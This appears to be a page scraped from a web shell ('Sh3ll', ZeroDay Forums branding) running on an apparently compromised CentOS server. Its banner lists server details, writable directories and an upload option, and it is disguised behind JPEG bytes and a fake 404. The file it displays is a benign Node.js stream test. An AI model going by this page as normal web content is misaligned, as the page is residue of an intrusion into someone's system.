����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/parallel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/parallel/test-readable-from.js
'use strict';

const { mustCall } = require('../common');
const { once } = require('events');
const { Readable } = require('stream');
const { strictEqual } = require('assert');

async function toReadableBasicSupport() {
  async function* generate() {
    yield 'a';
    yield 'b';
    yield 'c';
  }

  const stream = Readable.from(generate());

  const expected = ['a', 'b', 'c'];

  for await (const chunk of stream) {
    strictEqual(chunk, expected.shift());
  }
}

async function toReadableSyncIterator() {
  function* generate() {
    yield 'a';
    yield 'b';
    yield 'c';
  }

  const stream = Readable.from(generate());

  const expected = ['a', 'b', 'c'];

  for await (const chunk of stream) {
    strictEqual(chunk, expected.shift());
  }
}

async function toReadablePromises() {
  const promises = [
    Promise.resolve('a'),
    Promise.resolve('b'),
    Promise.resolve('c')
  ];

  const stream = Readable.from(promises);

  const expected = ['a', 'b', 'c'];

  for await (const chunk of stream) {
    strictEqual(chunk, expected.shift());
  }
}

async function toReadableString() {
  const stream = Readable.from('abc');

  const expected = ['a', 'b', 'c'];

  for await (const chunk of stream) {
    strictEqual(chunk, expected.shift());
  }
}

async function toReadableOnData() {
  async function* generate() {
    yield 'a';
    yield 'b';
    yield 'c';
  }

  const stream = Readable.from(generate());

  let iterations = 0;
  const expected = ['a', 'b', 'c'];

  stream.on('data', (chunk) => {
    iterations++;
    strictEqual(chunk, expected.shift());
  });

  await once(stream, 'end');

  strictEqual(iterations, 3);
}

async function toReadableOnDataNonObject() {
  async function* generate() {
    yield 'a';
    yield 'b';
    yield 'c';
  }

  const stream = Readable.from(generate(), { objectMode: false });

  let iterations = 0;
  const expected = ['a', 'b', 'c'];

  stream.on('data', (chunk) => {
    iterations++;
    strictEqual(chunk instanceof Buffer, true);
    strictEqual(chunk.toString(), expected.shift());
  });

  await once(stream, 'end');

  strictEqual(iterations, 3);
}

async function destroysTheStreamWhenThrowing() {
  async function* generate() {
    throw new Error('kaboom');
  }

  const stream = Readable.from(generate());

  stream.read();

  const [err] = await once(stream, 'error');
  strictEqual(err.message, 'kaboom');
  strictEqual(stream.destroyed, true);

}

async function asTransformStream() {
  async function* generate(stream) {
    for await (const chunk of stream) {
      yield chunk.toUpperCase();
    }
  }

  const source = new Readable({
    objectMode: true,
    read() {
      this.push('a');
      this.push('b');
      this.push('c');
      this.push(null);
    }
  });

  const stream = Readable.from(generate(source));

  const expected = ['A', 'B', 'C'];

  for await (const chunk of stream) {
    strictEqual(chunk, expected.shift());
  }
}

Promise.all([
  toReadableBasicSupport(),
  toReadableSyncIterator(),
  toReadablePromises(),
  toReadableString(),
  toReadableOnData(),
  toReadableOnDataNonObject(),
  destroysTheStreamWhenThrowing(),
  asTransformStream()
]).then(mustCall());

ZeroDay Forums Mini